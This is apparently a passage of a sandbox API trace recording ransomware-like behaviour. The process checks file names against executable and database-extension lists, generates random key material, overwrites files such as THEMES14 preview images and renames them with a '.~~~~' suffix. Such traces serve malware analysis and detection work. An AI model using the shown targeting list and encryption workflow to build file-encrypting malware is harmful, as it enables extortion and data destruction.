	[0086.256] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.256] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.256] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.256] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.256] CloseHandle (hObject=0x128) returned 1
	[0086.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0086.256] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.~~~~")) returned 1
	[0086.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0086.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.257] GetLastError () returned 0x0
	[0086.258] RtlWakeConditionVariable () returned 0x365f70
	[0086.258] GetCurrentThreadId () returned 0xaf0
	[0086.258] GetCurrentThreadId () returned 0xaf0
	[0086.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba8f8
	[0086.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb0d8 | out: hHeap=0x300000) returned 1
	[0086.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6c38 | out: hHeap=0x300000) returned 1
	[0086.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb0d8
	[0086.258] lstrlenW (lpString=".scr") returned 4
	[0086.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0086.258] lstrlenW (lpString=".cmd") returned 4
	[0086.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0086.258] lstrlenW (lpString=".dll") returned 4
	[0086.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0086.258] lstrlenW (lpString=".bat") returned 4
	[0086.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0086.258] lstrlenW (lpString=".cpl") returned 4
	[0086.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0086.258] lstrlenW (lpString=".sys") returned 4
	[0086.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0086.259] lstrlenW (lpString=".msc") returned 4
	[0086.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0086.259] lstrlenW (lpString=".com") returned 4
	[0086.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0086.259] lstrlenW (lpString=".lnk") returned 4
	[0086.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0086.259] lstrlenW (lpString=".msp") returned 4
	[0086.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0086.259] lstrlenW (lpString=".pif") returned 4
	[0086.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0086.259] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.260] lstrlenW (lpString=".sqb") returned 4
	[0086.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0086.260] lstrlenW (lpString=".ost") returned 4
	[0086.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0086.260] lstrlenW (lpString=".txt") returned 4
	[0086.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0086.260] lstrlenW (lpString=".mdt") returned 4
	[0086.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0086.260] lstrlenW (lpString=".BDB") returned 4
	[0086.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0086.260] lstrlenW (lpString=".eql") returned 4
	[0086.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0086.260] lstrlenW (lpString=".DBF") returned 4
	[0086.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0086.260] lstrlenW (lpString=".EQL") returned 4
	[0086.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0086.260] lstrlenW (lpString=".FDB") returned 4
	[0086.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0086.260] lstrlenW (lpString=".EDB") returned 4
	[0086.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0086.260] lstrlenW (lpString=".DACPAC") returned 7
	[0086.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0086.261] lstrlenW (lpString=".VHD") returned 4
	[0086.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0086.261] lstrlenW (lpString=".DBV") returned 4
	[0086.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0086.261] lstrlenW (lpString=".dacpac") returned 7
	[0086.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0086.261] lstrlenW (lpString=".sdf") returned 4
	[0086.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0086.261] lstrlenW (lpString=".accdb") returned 6
	[0086.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0086.261] lstrlenW (lpString=".DBX") returned 4
	[0086.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0086.261] lstrlenW (lpString=".MDT") returned 4
	[0086.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0086.261] lstrlenW (lpString=".SQB") returned 4
	[0086.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0086.262] lstrlenW (lpString=".vhd") returned 4
	[0086.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0086.262] lstrlenW (lpString=".bac") returned 4
	[0086.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0086.262] lstrlenW (lpString=".mdf") returned 4
	[0086.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0086.262] lstrlenW (lpString=".BAK") returned 4
	[0086.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0086.262] lstrlenW (lpString=".BAC") returned 4
	[0086.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0086.262] lstrlenW (lpString=".dbs") returned 4
	[0086.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0086.262] lstrlenW (lpString=".vhdx") returned 5
	[0086.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0086.262] lstrlenW (lpString=".NDF") returned 4
	[0086.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0086.262] lstrlenW (lpString=".dat") returned 4
	[0086.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0086.262] lstrlenW (lpString=".DBS") returned 4
	[0086.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0086.262] lstrlenW (lpString=".CKP") returned 4
	[0086.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0086.263] lstrlenW (lpString=".edb") returned 4
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0086.263] lstrlenW (lpString=".PST") returned 4
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0086.263] lstrlenW (lpString=".dbf") returned 4
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0086.263] lstrlenW (lpString=".SQL") returned 4
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0086.263] lstrlenW (lpString=".pst") returned 4
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0086.263] lstrlenW (lpString=".dbv") returned 4
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0086.263] lstrlenW (lpString=".SDF") returned 4
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0086.263] lstrlenW (lpString=".dtxs") returned 5
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0086.263] lstrlenW (lpString=".db3") returned 4
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0086.263] lstrlenW (lpString=".OST") returned 4
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0086.263] lstrlenW (lpString=".dbx") returned 4
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0086.263] lstrlenW (lpString=".DB3") returned 4
	[0086.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0086.263] lstrlenW (lpString=".DAT") returned 4
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0086.264] lstrlenW (lpString=".VHDX") returned 5
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0086.264] lstrlenW (lpString=".ndf") returned 4
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0086.264] lstrlenW (lpString=".DB") returned 3
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0086.264] lstrlenW (lpString=".sql") returned 4
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0086.264] lstrlenW (lpString=".MYD") returned 4
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0086.264] lstrlenW (lpString=".DBT") returned 4
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0086.264] lstrlenW (lpString=".ACCDB") returned 6
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0086.264] lstrlenW (lpString=".fdb") returned 4
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0086.264] lstrlenW (lpString=".bak") returned 4
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0086.264] lstrlenW (lpString=".myd") returned 4
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0086.264] lstrlenW (lpString=".DTXS") returned 5
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0086.264] lstrlenW (lpString=".ckp") returned 4
	[0086.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0086.265] lstrlenW (lpString=".dbt") returned 4
	[0086.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0086.265] lstrlenW (lpString=".db") returned 3
	[0086.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0086.265] lstrlenW (lpString=".TXT") returned 4
	[0086.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0086.265] lstrlenW (lpString=".MDF") returned 4
	[0086.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0086.265] lstrlenW (lpString=".bdb") returned 4
	[0086.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0086.265] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.265] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.266] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.266] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.266] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20625664439) returned 1
	[0086.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d39a9d0, dwHighDateTime=0x1d60e1e)) 
	[0086.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6c38
	[0086.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6c38 | out: hHeap=0x300000) returned 1
	[0086.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bac40
	[0086.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bac40 | out: hHeap=0x300000) returned 1
	[0086.267] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.267] GetLastError () returned 0x0
	[0086.268] GetLastError () returned 0x0
	[0086.268] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.268] GetLastError () returned 0x0
	[0086.268] GetLastError () returned 0x0
	[0086.270] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff621, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.270] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x9df, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x9df, lpOverlapped=0x0) returned 1
	[0086.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.270] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.270] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.271] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.271] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.271] CloseHandle (hObject=0x128) returned 1
	[0086.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0086.274] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.~~~~")) returned 1
	[0086.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0086.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.275] GetLastError () returned 0x0
	[0086.276] RtlWakeConditionVariable () returned 0x365f70
	[0086.276] GetCurrentThreadId () returned 0xaf0
	[0086.276] GetCurrentThreadId () returned 0xaf0
	[0086.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba8f8
	[0086.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb180 | out: hHeap=0x300000) returned 1
	[0086.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6c00 | out: hHeap=0x300000) returned 1
	[0086.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb180
	[0086.276] lstrlenW (lpString=".scr") returned 4
	[0086.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".scr") returned 0x0
	[0086.276] lstrlenW (lpString=".cmd") returned 4
	[0086.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".cmd") returned 0x0
	[0086.276] lstrlenW (lpString=".dll") returned 4
	[0086.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".dll") returned 0x0
	[0086.276] lstrlenW (lpString=".bat") returned 4
	[0086.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".bat") returned 0x0
	[0086.400] lstrlenW (lpString=".cpl") returned 4
	[0086.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".cpl") returned 0x0
	[0086.400] lstrlenW (lpString=".sys") returned 4
	[0086.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".sys") returned 0x0
